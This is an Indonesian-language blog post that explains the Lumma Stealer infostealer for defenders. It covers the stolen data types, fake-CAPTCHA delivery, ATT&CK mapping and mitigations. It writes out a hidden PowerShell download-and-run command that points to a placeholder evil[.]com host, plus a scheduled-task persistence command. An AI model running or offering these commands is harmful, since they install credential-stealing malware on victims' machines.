Prinsip Cybersec dan Ancaman Lanskap IDN-1

Apa itu Lumma Stealer?

Lumma Stealer (juga dikenal sebagai LummaC2) adalah malware jenis information stealer (pencuri informasi) yang dirancang untuk mencuri data sensitif dari komputer korban. Malware ini termasuk kategori Malware-as-a-Service (MaaS), artinya dijual atau disewakan kepada cybercriminal lain melalui forum underground.

mitre att&ck              lumma stealer                 Fortinet 

Lumwork                  Cloudflare

TL;DR 

Durasi Serangan Rata-rata: 10-15 menit dari klik pertama hingga data terkirim ke attacker.

Harga di Underground: $250-500/bulan (subscription MaaS)

Detection Rate: Low (~30-40% AV detection) karena heavy


 CARA KERJA LUMMA STEALER

 1. Kredensial Login

  • Username dan password dari browser (Chrome, Firefox, Edge, dll)
  • Informasi login yang tersimpan (saved passwords)
  • Cookie dan session tokens

2. Data Keuangan

  • Informasi kartu kredit yang tersimpan di browser
  • Data cryptocurrency wallet (dompet kripto)
  • Credential untuk banking online

3. Data Pribadi

  • Riwayat browsing
  • Autofill data (alamat, nomor telepon, dll)
  • Screenshot layar
  • File-file tertentu dari komputer

4. Informasi Sistem

  • Spesifikasi hardware
  • Software yang terinstall
  • Geolocation (lokasi)

 Fake CAPTCHA (Lumma Stealer akan mencoba menyamar menjadi CAPTCHA)

  • Korban diarahkan ke website palsu yang menampilkan CAPTCHA palsu
  • Saat "menyelesaikan" CAPTCHA, korban justru mengunduh dan menjalankan malware
  • Teknik ini memanfaatkan social engineering

Metode Lain:

  • Phishing email dengan lampiran berbahaya
  • Malvertising (iklan Fake / addware)
  • Cracked software atau game bajakan
  • YouTube scam dengan link unduhan palsu / fake direct
  • Fake updates (fake update path)

Karakteristik Teknis

  • Platform: Terutama menargetkan Windows
  • Bahasa: Ditulis dalam C/C++
  • Obfuscation: Menggunakan teknik penyamaran kode untuk menghindari deteksi antivirus
  • Anti-Analysis: Memiliki fitur untuk mendeteksi lingkungan virtual/sandbox
  • Modular: Dapat di-update dengan fungsi tambahan

 Contoh Kasus Fake CAPTCHA

Website palsu menampilkan pesan seperti:

"Click 'Allow' to verify you are not a robot"

Padahal tombol tersebut justru merujuk pada:

  • Mengunduh file berbahaya
  • Menjalankan script PowerShell
  • Menginstall Lumma Stealer

 Cara Mencegah / Mitigasi

  •  Jangan asal klik link yang mencurigakan
  •  Verifikasi CAPTCHA - CAPTCHA asli tidak meminta download file
  •  Gunakan antivirus yang terupdate
  •  Aktifkan 2FA (Two-Factor Authentication)
  •  Update sistem dan software secara rutin
  • Hati-hati dengan cracked software
  •  Edukasi tentang social engineering

 

Teknik Persistence Lumma Stealer: 

Registry Modification Menambahkan entry untuk auto-start  

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run  

Scheduled Task 

schtasks /create /tn "WindowsUpdate" /tr "C:\Users\...\lumma.exe" /sc onlogon  

Startup Folder 

C:\Users\AMBATUKAM\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ ```  

File Location: 

`%APPDATA%` folder 

 `%TEMP%` folder  

`%LOCALAPPDATA%` folder 

 # Tahapan CYBERSEC CHAIN LUMMA STEALER

MITIGASI PER-TAHAP

TahapMitigasi
ReconnaissanceSecurity awareness training, Limit public information exposure
WeaponizationThreat intelligence monitoring, Block known malicious IPs
DeliveryEmail filtering, Web filtering, DNS filtering, Browser isolation
ExploitationDisable PowerShell untuk user biasa, Application whitelisting, Patch management
InstallationEndpoint Detection & Response (EDR), Monitor registry changes, File integrity monitoring
C2Network segmentation, Firewall rules, IDS/IPS, Monitor outbound traffic
ActionsData Loss Prevention (DLP), Encrypt sensitive data, Monitor file access, Use password managers


RECONNAISSANCE

MITRE ATT&CK Mapping:

  • T1593 - Search Open Websites/Domains
  • T1594 - Search Victim-Owned Websites
  • T1589 - Gather Victim Identity Information
  • T1598 - Phishing for Information

 

WEAPONIZATION 

MITRE ATT&CK Mapping:

  • T1587.001 - Develop Capabilities: Malware
  • T1588.001 - Obtain Capabilities: Malware
  • T1583 - Acquire Infrastructure
  • T1585 - Establish Accounts (untuk C2)

 

DELIVERY

MITRE ATT&CK Mapping:

  • T1566.001 - Phishing: Spearphishing Attachment
  • T1566.002 - Phishing: Spearphishing Link
  • T1189 - Drive-by Compromise
  • T1204 - User Execution

 

EXPLOITATION

MITRE ATT&CK Mapping:

  • T1203 - Exploitation for Client Execution
  • T1204.002 - User Execution: Malicious File
  • T1059.001 - Command and Scripting Interpreter: PowerShell
  • T1218 - System Binary Proxy Execution

 

INSTALLATION

MITRE ATT&CK Mapping:

  •  T1547  - Boot or Logon Autostart Execution - * 
  •  T1053.005 -  Scheduled Task/Job - * 
  •  T1574 - Hijack Execution Flow -  
  •  T1112 - Modify Registry 

 

COMMAND & CONTROL (C2)

MITRE ATT&CK Mapping:   

  • T1071.001 Application Layer Protocol: Web Protocols (HTTP/HTTPS)  
  • T1573 Encrypted Channel  
  • T1090 Proxy  
  • T1095 Non-Application Layer Protocol  

ACTIONS ON OBJECTIVES 

 MITRE ATT&CK Mapping:

  •  T1005 - Data from Local System -  
  • T1555 - Credentials from Password Stores -  
  • T1056.001 - Input Capture: Keylogging - 
  • T1113 - Screen Capture -  
  • T1114 - Email Collection -  
  • T1552.001 - Unsecured Credentials: Credentials In Files -  
  • T1539 - Steal Web Session Cookie

 

#     TIMELINE LUMMA STEALER 

 T-0: User menerima phishing

  • Email/DM: "You won a prize! Click here to claim" - 

  •  Link mengarah ke: `verify-captcha[.]com` 

  •  T+1 menit: Fake CAPTCHA Page Website tampil dengan pesan:  

    "🤖 Verify you are human 1. Press Windows + R 2. Press Ctrl + V 3. Press Enter"

    exploitation 

     powershell -w hidden "IEX(New-Object Net.WebClient).DownloadString('http://evil[.]com/l.ps1')" 

     T+3 menit: Installation

  • Download svchost.exe (fake name) ke %APPDATA%
  • Registry key ditambahkan untuk auto-start
  • Antivirus di-disable (jika punya privilege)

T+5 menit: C2 Connection

  • Connect ke C2: 185.xxx.xxx.xxx:443
  • Handshake & authentication
  • Menerima task: "Steal browser data"

T+10 menit: Data Exfiltration

  • Scan semua browser profiles
  • Decrypt stored passwords menggunakan Windows DPAPI
  • Extract cookies & tokens
  • Compress dalam ZIP file
  • Send to C2 (encrypted)

T+15 menit: Mission Complete

  • Attacker menerima data di C2 panel
  • Optional: Self-destruct atau tetap dormant

 

 

 


 

Komentar

Posting Komentar